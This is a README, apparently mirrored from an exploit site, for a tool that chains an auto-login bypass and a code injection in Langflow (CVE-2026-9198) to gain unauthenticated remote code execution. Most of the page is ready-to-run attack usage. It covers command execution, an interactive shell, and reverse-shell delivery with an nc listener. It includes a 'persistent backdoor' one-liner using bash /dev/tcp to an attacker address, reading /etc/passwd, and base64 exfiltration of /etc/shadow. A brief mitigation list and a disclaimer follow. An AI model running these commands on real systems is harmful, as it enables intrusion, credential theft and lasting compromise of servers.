Share
## https://sploitus.com/exploit?id=D7B66396-F7B8-5E85-B8B3-318AAF8F715C
# ๐จ CVE-2026-9198
## IBM Langflow OSS Unauthenticated RCE via Auto-Login Bypass
[](https://opensource.org/licenses/MIT)
[](https://www.python.org/downloads/)
[](https://cve.mitre.org/)
---
## ๐ Overview
**CVE-2026-9198** is a critical unauthenticated Remote Code Execution (RCE) vulnerability in IBM Langflow OSS. This exploit chains two vulnerabilities:
- **CVE-2026-9103**: Auto-login bypass that grants superuser JWT tokens to unauthenticated callers
- **CVE-2026-8481**: Code injection in the `/api/v1/validate/code` endpoint that allows arbitrary Python execution
> โ ๏ธ **WARNING**: This tool is for authorized security testing and educational purposes only. Unauthorized use is illegal.
---
## ๐ Features
- ๐ **Auto-login bypass** - Automatically obtains superuser JWT token
- ๐ป **Interactive pseudo-shell** - Dynamic prompt with username and current directory
- ๐ **Single command execution** - Run arbitrary system commands
- ๐ **Reverse shell** - One-liner reverse shell payload delivery
- ๐จ **Colorful output** - Visual feedback with ANSI colors
- โก **Fast and reliable** - Built with robust error handling
---
## ๐ฆ Installation
### Prerequisites
- Python 3.6 or higher
- `pip` package manager
### Step 1: Clone the Repository
```bash
git clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198
```
### Step 2: Install Dependencies
```bash
pip install termcolor
```
Or install all dependencies at once:
```bash
pip install -r requirements.txt
```
### Step 3: Verify Installation
```bash
python CVE-2026-9198.py --help
```
You should see the help menu with all available options.
---
## ๐ฏ Usage
### Basic Command Execution
Execute a single command on the target:
```bash
python CVE-2026-9198.py -t -c "id"
```
**Example**:
```bash
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"
```
### Interactive Pseudo-Shell
Launch an interactive shell with dynamic prompts:
```bash
python CVE-2026-9198.py -t --shell
```
**Features**:
- Dynamic prompt showing `user@host` and current directory
- `cd` command support with automatic prompt update
- Command history (depending on terminal)
- Clean output formatting
**Example session**:
```bash
โโ[root@0xgh057r3c0n]โ[~]
โโโโผ $ whoami
root
โโ[root@0xgh057r3c0n]โ[~]
โโโโผ $ cd /tmp
โโ[root@0xgh057r3c0n]โ[/tmp]
โโโโผ $ pwd
/tmp
```
### Reverse Shell
Send a reverse shell payload to a listener:
```bash
python CVE-2026-9198.py -t --lhost --lport
```
**Example**:
```bash
# On your machine - Start listener
nc -lvnp 4444
# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444
```
### Custom Port
If Langflow is running on a non-default port:
```bash
python CVE-2026-9198.py -t -p -c "whoami"
```
**Example**:
```bash
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"
```
### Using a Pre-obtained Token
Skip the auto-login process and use an existing token:
```bash
python CVE-2026-9198.py -t -k -c "id"
```
### Timeout Configuration
Adjust HTTP timeout for slower networks:
```bash
python CVE-2026-9198.py -t --timeout 30 -c "whoami"
```
---
## ๐ Command Line Arguments
| Argument | Description | Required | Default |
|----------|-------------|----------|---------|
| `-t, --target` | Target host/IP or full URL | โ
Yes | - |
| `-p, --port` | Langflow port | โ No | 7860 |
| `-c, --cmd` | Execute a single command | โ No | "id" |
| `--shell` | Interactive pseudo-shell mode | โ No | False |
| `--lhost` | Reverse shell listener IP | โ No | - |
| `--lport` | Reverse shell listener port | โ No | 4444 |
| `-k, --token` | Use provided bearer token | โ No | - |
| `--timeout` | HTTP timeout in seconds | โ No | 20 |
| `--no-banner` | Hide the banner | โ No | False |
---
## ๐ง Examples
### 1. Basic Information Gathering
```bash
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"
```
### 2. File System Exploration
```bash
python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd
```
### 3. Persistent Backdoor
```bash
# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
```
### 4. Network Scanning (from target)
```bash
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"
```
### 5. Exfiltrating Sensitive Files
```bash
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"
```
---
## ๐ก๏ธ Mitigation
To protect against this vulnerability:
1. **Disable auto-login** in production environments
2. **Apply patches** released by IBM for Langflow
3. **Restrict network access** to Langflow administrative interfaces
4. **Monitor** for unusual API requests to `/api/v1/auto_login` and `/api/v1/validate/code`
5. **Use WAF rules** to block suspicious payload patterns
---
## โ ๏ธ Disclaimer
This tool is provided for educational and authorized security testing purposes only. The author is not responsible for any misuse or damage caused by this software. Users are solely responsible for complying with applicable laws and regulations.
---
## ๐ License
This project is licensed under the MIT License - see the [LICENSE](https://github.com/0xgh057r3c0n/CVE-2026-9198/blob/main/LICENSE) file for details.
---
## ๐จโ๐ป Author
**0xgh057r3c0n**
- GitHub: [@0xgh057r3c0n](https://github.com/0xgh057r3c0n)
- Security Researcher & Pentester
---
## ๐ References
- [CVE-2026-9198 Details](https://nvd.nist.gov/vuln/detail/CVE-2026-9198)
- [CVE-2026-9103 - Auto-Login Bypass](https://nvd.nist.gov/vuln/detail/CVE-2026-9103)
- [CVE-2026-8481 - Code Injection](https://nvd.nist.gov/vuln/detail/CVE-2026-8481)
- [Langflow Official Site](https://www.langflow.org/)
---
## ๐ค Contributing
Contributions are welcome! Please feel free to submit a Pull Request.
1. Fork the repository
2. Create your feature branch (`git checkout -b feature/AmazingFeature`)
3. Commit your changes (`git commit -m 'Add some AmazingFeature'`)
4. Push to the branch (`git push origin feature/AmazingFeature`)
5. Open a Pull Request
---
## โญ Star History
If you find this tool useful, please consider giving it a โญ on GitHub!
---
Made with โค๏ธ by 0xgh057r3c0n